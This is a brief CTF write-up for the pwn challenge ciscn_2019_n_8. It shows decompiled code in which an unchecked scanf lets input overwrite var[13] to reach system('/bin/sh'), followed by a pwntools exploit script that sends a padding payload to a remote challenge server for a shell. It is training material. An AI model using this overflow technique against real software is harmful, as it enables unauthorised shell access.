ciscn_2019_n_8 1
1.题目下载地址
2.checksec检查保护
所有保护全开,现在也不知道有什么办法
试着运行一下,可能又是canary绕过
3.IDA分析
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )<--------经过观察可以发现只要使var[13]==17即可触发/bin/sh
system("/bin/sh");<-----------------------------------------------------很明显的后门
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
- var可以看做是一个int型的数组,根据源码得到*(_QWORD *)&var[13] == 17就可以得到shell,QWORD是8个字节,所以意思是要将var[13]之后的8个字节的数据赋值为17。
- 那就把数组都赋值成17
4.exp
from pwn import *
r = remote('node3.buuoj.cn',28597)
payload = b'a' * 13 * 4 + p64(17)
r.sendline(payload)
r.interactive()